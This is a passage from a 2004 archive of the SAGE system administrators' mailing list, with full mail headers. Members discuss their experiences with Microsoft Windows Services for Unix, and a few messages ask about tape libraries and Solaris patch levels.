09:54:09 -0800 (PST) Received: from localhost.usenix.org (voyager.usenix.org [131.106.3.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RHs5cG011903; Tue, 27 Jan 2004 09:54:05 -0800 (PST) Subject: Re: [SAGE] Microsoft Windows Services for Unix From: Nick Stoughton To: "Shane B. Milburn" Cc: sage-members@sage.org In-Reply-To: References: Content-Type: text/plain Organization: Message-Id: <1075226050.1213.13.camel@amstaff> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 27 Jan 2004 09:54:10 -0800 Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk I've worked with the guys from Interix (a small company that originally wrote this code and was subsequently bought by M$), and I have used their product since before the first release. This is a really good set of tools ... you can really make your windows machine look and feel like all those other N*X boxes ... the tools are POSIX conforming, the build environment works: you can download, .,/configure;make pretty much any GNU tool ('cept emacs:-<), etc. It has X clients (OK, its only X11R5, but still), and the NFS/NIS stuff also works as advertised. It is considerably better than most of its competitors - MKS, NuTCracker etc. And now they have removed the $99 cost too ... as a prelude to bundling it with the OS I suspect. -- Nick On Mon, 2004-01-26 at 21:08, Shane B. Milburn wrote: > Anyone done any testing with MS Windows Services for Unix? I > just received my February edition of SysAdmin and there is a > copy enclosed with it. > > Reading the vendor advertisement about SFU it appears to have > some interesting features, like integrating NIS into Active Directory. > If it works as advertised I could see some potential for the > product in a few specific cases especially in a lab environment. > > If you have used SFU and have any feedback (good, bad, or other) I'd > be interested in hearing about it. > > cheers, > -shane > -- > Shane B. Milburn Email: milburn@panix.com > Sr. Network Engineer GPG Key ID: 9DA907DA -- Nick Stoughton From sage-members-owner@usenix.org Tue Jan 27 10:36:15 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RIaEcH019203 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 10:36:15 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0RIaEgE019202 for sage-members-outgoing; Tue, 27 Jan 2004 10:36:14 -0800 (PST) Received: from pd5mo2so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RIa6cG019188 for ; Tue, 27 Jan 2004 10:36:10 -0800 (PST) Received: from pd5mr1so.prod.shaw.ca (pd5mr1so-qfe3.prod.shaw.ca [10.0.141.232]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0HS50054IU4AVY@l-daemon> for sage-members@sage.org; Tue, 27 Jan 2004 11:02:34 -0700 (MST) Received: from pn2ml10so.prod.shaw.ca (pn2ml10so-qfe0.prod.shaw.ca [10.0.121.80]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0HS500HI2U4AGG@l-daemon> for sage-members@sage.org; Tue, 27 Jan 2004 11:02:34 -0700 (MST) Received: from mail.zioup.com (h68-147-26-20.cg.shawcable.net [68.147.26.20]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0HS50051VU4AJB@l-daemon> for sage-members@sage.org; Tue, 27 Jan 2004 11:02:34 -0700 (MST) Received: by mail.zioup.com (Postfix, from userid 1001) id 3E584258128; Tue, 27 Jan 2004 11:02:34 -0700 (MST) Received: from localhost (localhost [127.0.0.1]) by mail.zioup.com (Postfix) with ESMTP id 327E4210030; Tue, 27 Jan 2004 11:02:34 -0700 (MST) Date: Tue, 27 Jan 2004 11:02:34 -0700 (MST) From: Yves Dorfsman Subject: Re: [SAGE] Microsoft Windows Services for Unix In-reply-to: To: Justin Dossey Cc: sage-members@sage.org Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Content-transfer-encoding: 7BIT References: Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, 27 Jan 2004, Justin Dossey wrote: > > cygwin but ran into a lot of incompatibilities (cygwin uses pdksh), he > > then tried UWin, he was fairly happy with it, but quickly switched to SFU > > when he realised it was distributed and supported by Microsoft, something > > corporations tend to prefer over "some free stuff pulled from the 'net". > > AT&T has released the Korn shell under an open source license. I had > some ksh scripts for which pdksh was not good enough, and a quick > compile later, I was happily running them with AT&T ksh. Yes, I noticed that a few days ago. For anybody interrested, it's all on http://www.kornshell.com. But still, a lot of corporations will prefer a supported download from Microsoft. Yves. ---- Yves Dorfsman yves@zioup.com http://www.cuug.ab.ca/~dorfsmay http://www.SollerS.ca From sage-members-owner@usenix.org Tue Jan 27 10:48:28 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RImRcH020108 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 10:48:27 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0RImRvG020107 for sage-members-outgoing; Tue, 27 Jan 2004 10:48:27 -0800 (PST) Received: from pdx-mail01.wvs (pdx-mail01.vinton.com [204.202.33.18]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RImQcG020098 for ; Tue, 27 Jan 2004 10:48:26 -0800 (PST) Received: from [10.1.1.35] (mcbain.wvs [10.1.1.35]) by pdx-mail01.wvs with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id YFDLD19F; Tue, 27 Jan 2004 10:48:13 -0800 User-Agent: Microsoft-Entourage/10.1.4.030702.0 Date: Tue, 27 Jan 2004 10:48:05 -0800 Subject: Re: [SAGE] Microsoft Windows Services for Unix From: Jonathan Rozes To: "Shane B. Milburn" , Message-ID: In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk When I last used it about two years ago, it did not support clustering (steady system hangs and blue screens, even if you aren't exporting a clustered resource) and NFS would not function without NIS. Probably not a concern for most folks, but there you have it. I'd be curious to know if the current version has addressed either issue. jonathan -- +++ Jonathan Rozes, Manager, Information Technology, Vinton Studios > From: "Shane B. Milburn" > Date: Tue, 27 Jan 2004 00:08:18 -0500 (EST) > To: sage-members@sage.org > Subject: [SAGE] Microsoft Windows Services for Unix > > > Anyone done any testing with MS Windows Services for Unix? I > just received my February edition of SysAdmin and there is a > copy enclosed with it. > > Reading the vendor advertisement about SFU it appears to have > some interesting features, like integrating NIS into Active Directory. > If it works as advertised I could see some potential for the > product in a few specific cases especially in a lab environment. > > If you have used SFU and have any feedback (good, bad, or other) I'd > be interested in hearing about it. > > cheers, > -shane > -- > Shane B. Milburn Email: milburn@panix.com > Sr. Network Engineer GPG Key ID: 9DA907DA > From sage-members-owner@usenix.org Tue Jan 27 11:54:35 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RJsYcH023101 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 11:54:35 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0RJsYlT023099 for sage-members-outgoing; Tue, 27 Jan 2004 11:54:34 -0800 (PST) Received: from bolthole.com (bolthole.com [192.220.72.215]) by usenix.org (8.12.10/8.12.10) with SMTP id i0RJsXcG023095 for ; Tue, 27 Jan 2004 11:54:33 -0800 (PST) Received: (qmail 27043 invoked by uid 18647); 27 Jan 2004 19:54:26 -0000 Date: Tue, 27 Jan 2004 11:54:26 -0800 From: Philip Brown To: sage-members@sage.org Subject: Re: [SAGE] Microsoft Windows Services for Unix Message-ID: <20040127115426.A25583@bolthole.com> Reply-To: Philip Brown Mail-Followup-To: sage-members@sage.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from milburn@panix.com on Tue, Jan 27, 2004 at 12:08:18AM -0500 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Jan 27, 2004 at 12:08:18AM -0500, Shane B. Milburn wrote: > Reading the vendor advertisement about SFU it appears to have > some interesting features, like integrating NIS into Active Directory. You're better off just converting to using LDAP From sage-members-owner@usenix.org Tue Jan 27 14:52:40 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RMqdcH004378 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 14:52:39 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0RMqdBb004377 for sage-members-outgoing; Tue, 27 Jan 2004 14:52:39 -0800 (PST) Received: from amber.ccs.neu.edu (amber.ccs.neu.edu [129.10.116.51]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RMqYcG004372 for ; Tue, 27 Jan 2004 14:52:35 -0800 (PST) Received: from zubeneschamali.ccs.neu.edu (zubeneschamali.ccs.neu.edu [129.10.117.154]) by amber.ccs.neu.edu (Postfix) with ESMTP id 8632E5476A; Tue, 27 Jan 2004 17:52:26 -0500 (EST) Received: from dnb by zubeneschamali.ccs.neu.edu with local (Exim 4.20) id 1Alc4I-0003u5-F5; Tue, 27 Jan 2004 17:52:26 -0500 Date: Tue, 27 Jan 2004 17:52:26 -0500 From: "David N. Blank-Edelman" To: "Shane B. Milburn" Cc: sage-members@sage.org Subject: Re: [SAGE] Microsoft Windows Services for Unix Message-ID: <20040127225226.GH11462@zubeneschamali.ccs.neu.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Jan 27, 2004 at 12:08:18AM -0500, Shane B. Milburn wrote: > Anyone done any testing with MS Windows Services for Unix? I > just received my February edition of SysAdmin and there is a > copy enclosed with it. Howdy- We just recently put this into production, so let me say a couple of things about it. The only piece of this we're using is the code which allows you to sync passwords in between AD and NIS (a daemon runs on a DC, the NIS master, and a PAM module is also installed on each machine to catch the password changes as they go by). We're not using any of the cool POSIX stuff or NFS client code. We've got this installed using Windows 2003 DCs and Solaris NIS/PAM clients. The code we have in production comes from the beta of 3.5. I don't know how much the code has changed from the beta to the current release. Opinions: truth be told, the server and PAM code was ugly, badly broken as shipped, badly instrumented and documented, and quite frustrating. If this stuff wasn't free (compared to another solution like Psync), I think we would have run screaming a long time ago. However, we chained a smart student to a workstation who howled and hacked, howled and hacked, until things worked under Solaris. I think he's recovered since, but let's just say Amnesty International would probably have started a letter writing campaign had they known about this effort. We've got some pretty incomplete, icky documentation about what we did to fix things which may help people out if they decide they want to follow us down the same road to damnation we chose to take. Drop me a line if you are interested. -- dNb, shuddering From sage-members-owner@usenix.org Tue Jan 27 19:26:37 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0S3QacH006665 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 19:26:36 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0S3QaY2006663 for sage-members-outgoing; Tue, 27 Jan 2004 19:26:36 -0800 (PST) Received: from ace.DELOS.COM (ace.DELOS.COM [192.65.171.163]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0S3QZcH006659 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 19:26:35 -0800 (PST) Received: from ace.DELOS.COM (localhost [127.0.0.1]) by ace.DELOS.COM (8.12.9/8.12.9) with ESMTP id i0S3QSmN064970 for ; Tue, 27 Jan 2004 20:26:28 -0700 (MST) (envelope-from kolstad@ace.DELOS.COM) Received: (from kolstad@localhost) by ace.DELOS.COM (8.12.9/8.12.9/Submit) id i0S3QSjf064969 for sage-members@usenix.org; Tue, 27 Jan 2004 20:26:28 -0700 (MST) Received: from fed1mtao01.cox.net (fed1mtao01.cox.net [68.6.19.244]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0S287cG004639 for ; Tue, 27 Jan 2004 18:08:07 -0800 (PST) Received: from rfmagic.com ([68.105.117.168]) by fed1mtao01.cox.net (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with ESMTP id <20040128020800.HMCV244.fed1mtao01.cox.net@rfmagic.com> for ; Tue, 27 Jan 2004 21:08:00 -0500 Message-ID: <40171981.4060201@rfmagic.com> Date: Tue, 27 Jan 2004 18:08:01 -0800 From: Mike Noble User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en MIME-Version: 1.0 To: sage-members@usenix.org Subject: [SAGE] Tape Libraries X-Enigmail-Version: 0.76.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk I am looking at getting a new tape library. Currently looking at the following: ADIC Scalar 24 or StorageTek L20 If any body is familiar with both units, I would be interested in what you thing about both. If you are using either one, I would be interested in what your thoughts (likes/dislikes) about the unit you are using. Thanks, Mike From sage-members-owner@usenix.org Tue Jan 27 20:20:51 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0S4KpcH007983 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 20:20:51 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0S4KoCJ007982 for sage-members-outgoing; Tue, 27 Jan 2004 20:20:51 -0800 (PST) Received: from bolthole.com (bolthole.com [192.220.72.215]) by usenix.org (8.12.10/8.12.10) with SMTP id i0S4KncG007978 for ; Tue, 27 Jan 2004 20:20:50 -0800 (PST) Received: (qmail 3392 invoked by uid 18647); 28 Jan 2004 04:20:49 -0000 Date: Tue, 27 Jan 2004 20:20:49 -0800 From: Philip Brown To: SAGE Members Subject: Re: [SAGE] Experience with Emulex HBA software Message-ID: <20040127202049.A1933@bolthole.com> Reply-To: Philip Brown Mail-Followup-To: SAGE Members References: <20040126142202.GH20083@tinkywinky.rtfs.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040126142202.GH20083@tinkywinky.rtfs.de>; from gabe@rtfs.de on Mon, Jan 26, 2004 at 03:22:02PM +0100 Sender: owner-sage-members@usenix.org Precedence: bulk On Mon, Jan 26, 2004 at 03:22:02PM +0100, Gabriel Krabbe wrote: > MpxIO - multiplexed I/O - is Sun's term for the beast, and you get it by > installing the so-called SAN Foundation (http://www.sun.com/storage/san > for download) with the appropriate patches (PatchPro is great for this). speaking of patches... does anyone know of a script out there that can look at one solaris machine, then bring another machine up to the same level of patches? (when "the same level" is not neccessarily the same thing as, "the latest patchdiag.ref") ? From sage-members-owner@usenix.org Tue Jan 27 20:51:25 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0S4pPcH008958 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 20:51:25 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0S4pPcg008957 for sage-members-outgoing; Tue, 27 Jan 2004 20:51:25 -0800 (PST) Received: from rijpat-s-323-a2.europe.shell.com (gi-smtpout2-eu.shell.com [145.26.110.69]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0S4pNcG008952 for ; Tue, 27 Jan 2004 20:51:23 -0800 (PST) Received: from RIJPAT-S-337-a2.europe.shell.com ([145.26.111.110]) by rijpat-s-323-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Wed, 28 Jan 2004 05:51:22 +0100 Received: from mail pickup service by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC; Wed, 28 Jan 2004 05:51:22 +0100 Received: from usenix.org ([131.106.3.1]) by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 27 Jan 2004 17:33:10 +0100 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RGVCcH008396 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 27 Jan 2004 08:31:12 -0800 (PST) Received: from localhost (majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) with SMTP id i0RGVCXu008395; Tue, 27 Jan 2004 08:31:12 -0800 (PST) Received: by voyager.usenix.org (bulk_mailer v1.13); Tue, 27 Jan 2004 08:30:25 -0800 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RGUOcH008285 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 08:30:24 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0RGUOnw008283 for sage-members-outgoing; Tue, 27 Jan 2004 08:30:24 -0800 (PST) Received: from witte.sonytel.be (witte.sonytel.be [80.88.33.193]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RGUMcG008277 for ; Tue, 27 Jan 2004 08:30:23 -0800 (PST) Received: from gorilla.sonytel.be (localhost [127.0.0.1]) by witte.sonytel.be (8.12.10/8.12.10) with ESMTP id i0RGUGw1028836; Tue, 27 Jan 2004 17:30:16 +0100 (MET) Received: (from nico@localhost) by gorilla.sonytel.be (8.11.6/8.11.6) id i0RGUFk21444; Tue, 27 Jan 2004 17:30:15 +0100 Date: Tue, 27 Jan 2004 17:30:15 +0100 From: Nico De Ranter To: Yves Dorfsman Cc: "Shane B. Milburn" , sage-members@sage.org Subject: Re: [SAGE] Microsoft Windows Services for Unix Message-ID: <20040127173015.L2538@gorilla.sonytel.be> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from yves@zioup.com on Tue, Jan 27, 2004 at 09:03:34AM -0700 X-OriginalArrivalTime: 27 Jan 2004 16:33:21.0187 (UTC) FILETIME=[46C2E730:01C3E4F3] Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Jan 27, 2004 at 09:03:34AM -0700, Yves Dorfsman wrote: > > On Tue, 27 Jan 2004, Shane B. Milburn wrote: > > I believe SFU is not free if you use it in a corporate environment because > a lot of the tools are still under copyrights from AT&T etc... Apparently Microsoft changed its mind, my Windows guys tell me it's free now. Nico --------------------------------------------------------- "It has been said that there are only two businesses that refer to customers as users: illegal drug trade and the computer industry." --------------------------------------------------------- Nico De Ranter Senior System Administrator Sony Service Center (NSCE/VPE-B) The Corporate Village, Da Vincilaan 7-D1 B-1935 Zaventem, Belgium Telephone: +32 (0)2 706 43 11 Fax: +32 (0)2 700 86 22 From sage-members-owner@usenix.org Tue Jan 27 21:07:55 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0S57tcH009927 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 21:07:55 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0S57tGn009926 for sage-members-outgoing; Tue, 27 Jan 2004 21:07:55 -0800 (PST) Received: from rijpat-s-321-a2.europe.shell.com (gi-smtpout1-eu.shell.com [145.26.110.68]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0S57qcG009912 for ; Tue, 27 Jan 2004 21:07:53 -0800 (PST) Received: from RIJPAT-S-337-a2.europe.shell.com ([145.26.111.110]) by rijpat-s-321-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Wed, 28 Jan 2004 06:07:49 +0100 Received: from mail pickup service by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC; Wed, 28 Jan 2004 06:07:47 +0100 Received: from usenix.org ([131.106.3.1]) by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 27 Jan 2004 17:36:56 +0100 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RGaFcH008837 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 27 Jan 2004 08:36:16 -0800 (PST) Received: from localhost (majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) with SMTP id i0RGaFDF008836; Tue, 27 Jan 2004 08:36:15 -0800 (PST) Received: by voyager.usenix.org (bulk_mailer v1.13); Tue, 27 Jan 2004 08:35:36 -0800 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RGZZcH008735 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 08:35:35 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0RGZZec008732 for sage-members-outgoing; Tue, 27 Jan 2004 08:35:35 -0800 (PST) Received: from bohex01.sitaaps.org (mail.sitaaps.org [205.232.221.250]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RGZXcG008719 for ; Tue, 27 Jan 2004 08:35:34 -0800 (PST) Received: from XPTHREE ([10.10.2.35]) by bohex01.sitaaps.org with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id DW6R3903; Tue, 27 Jan 2004 11:34:05 -0500 Message-ID: <000801c3e4f2$e8770a80$23020a0a@xpthree> From: "Eric Torbenson" To: References: Subject: Re: [SAGE] Microsoft Windows Services for Unix Date: Tue, 27 Jan 2004 11:30:42 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-OriginalArrivalTime: 27 Jan 2004 16:37:05.0921 (UTC) FILETIME=[CCB69710:01C3E4F3] Sender: owner-sage-members@usenix.org Precedence: bulk > I am a bit confused, I was under the impression that SFU was distributed > (and supported) by Microsoft ? > Microsoft made it a free download, presumably to foster interoperability. You can grab it at http://www.microsoft.com/windows/sfu/downloads/default.asp. It is definitely a supported product. MS did this for a couple of add-on services to Windows Server 2003...it makes them look better in the data center world. I work mainly in Windows environments, so I see a lot of companies moving towards SFU. I guess they figure they can use the Unix stuff they have, while integrating Linux for stuff that doesn't absolutely require Windows, while still keeping the Windows clients and domain controllers. -Eric From sage-members-owner@usenix.org Tue Jan 27 21:32:32 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0S5WVcH010855 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 21:32:32 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0S5WVo8010854 for sage-members-outgoing; Tue, 27 Jan 2004 21:32:31 -0800 (PST) Received: from rijpat-s-323-a2.europe.shell.com (gi-smtpout2-eu.shell.com [145.26.110.69]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0S5WOcG010841 for ; Tue, 27 Jan 2004 21:32:30 -0800 (PST) Received: from RIJPAT-S-337-a2.europe.shell.com ([145.26.111.110]) by rijpat-s-323-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Wed, 28 Jan 2004 06:32:18 +0100 Received: from mail pickup service by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC; Wed, 28 Jan 2004 06:31:30 +0100 Received: from usenix.org ([131.106.3.1]) by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 27 Jan 2004 22:04:14 +0100 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RInecH020265 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 27 Jan 2004 10:49:40 -0800 (PST) Received: from localhost (majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) with SMTP id i0RInceI020262; Tue, 27 Jan 2004 10:49:39 -0800 (PST) Received: by voyager.usenix.org (bulk_mailer v1.13); Tue, 27 Jan 2004 10:48:29 -0800 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RImRcH020108 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 10:48:27 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0RImRvG020107 for sage-members-outgoing; Tue, 27 Jan 2004 10:48:27 -0800 (PST) Received: from pdx-mail01.wvs (pdx-mail01.vinton.com [204.202.33.18]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RImQcG020098 for ; Tue, 27 Jan 2004 10:48:26 -0800 (PST) Received: from [10.1.1.35] (mcbain.wvs [10.1.1.35]) by pdx-mail01.wvs with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id YFDLD19F; Tue, 27 Jan 2004 10:48:13 -0800 User-Agent: Microsoft-Entourage/10.1.4.030702.0 Date: Tue, 27 Jan 2004 10:48:05 -0800 Subject: Re: [SAGE] Microsoft Windows Services for Unix From: Jonathan Rozes To: "Shane B. Milburn" , Message-ID: In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-OriginalArrivalTime: 27 Jan 2004 21:04:15.0312 (UTC) FILETIME=[1EF98D00:01C3E519] Sender: owner-sage-members@usenix.org Precedence: bulk When I last used it about two years ago, it did not support clustering (steady system hangs and blue screens, even if you aren't exporting a clustered resource) and NFS would not function without NIS. Probably not a concern for most folks, but there you have it. I'd be curious to know if the current version has addressed either issue. jonathan -- +++ Jonathan Rozes, Manager, Information Technology, Vinton Studios > From: "Shane B. Milburn" > Date: Tue, 27 Jan 2004 00:08:18 -0500 (EST) > To: sage-members@sage.org > Subject: [SAGE] Microsoft Windows Services for Unix > > > Anyone done any testing with MS Windows Services for Unix? I > just received my February edition of SysAdmin and there is a > copy enclosed with it. > > Reading the vendor advertisement about SFU it appears to have > some interesting features, like integrating NIS into Active Directory. > If it works as advertised I could see some potential for the > product in a few specific cases especially in a lab environment. > > If you have used SFU and have any feedback (good, bad, or other) I'd > be interested in hearing about it. > > cheers, > -shane > -- > Shane B. Milburn Email: milburn@panix.com > Sr. Network Engineer GPG Key ID: 9DA907DA > From sage-members-owner@usenix.org Tue Jan 27 21:32:38 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0S5WbcH010874 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 21:32:37 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0S5WbXW010872 for sage-members-outgoing; Tue, 27 Jan 2004 21:32:37 -0800 (PST) Received: from rijpat-s-323-a2.europe.shell.com (gi-smtpout2-eu.shell.com [145.26.110.69]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0S5WZcG010868 for ; Tue, 27 Jan 2004 21:32:36 -0800 (PST) Received: from RIJPAT-S-337-a2.europe.shell.com ([145.26.111.110]) by rijpat-s-323-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Wed, 28 Jan 2004 06:32:18 +0100 Received: from mail pickup service by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC; Wed, 28 Jan 2004 06:31:33 +0100 Received: from usenix.org ([131.106.3.1]) by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 27 Jan 2004 22:04:16 +0100 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RHsgcH012024 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 27 Jan 2004 09:54:42 -0800 (PST) Received: from localhost (majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) with SMTP id i0RHsgjp012023; Tue, 27 Jan 2004 09:54:42 -0800 (PST) Received: by voyager.usenix.org (bulk_mailer v1.13); Tue, 27 Jan 2004 09:54:10 -0800 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RHs9cH011916 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 09:54:09 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0RHs9db011915 for sage-members-outgoing; Tue, 27 Jan 2004 09:54:09 -0800 (PST) Received: from localhost.usenix.org (voyager.usenix.org [131.106.3.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RHs5cG011903; Tue, 27 Jan 2004 09:54:05 -0800 (PST) Subject: Re: [SAGE] Microsoft Windows Services for Unix From: Nick Stoughton To: 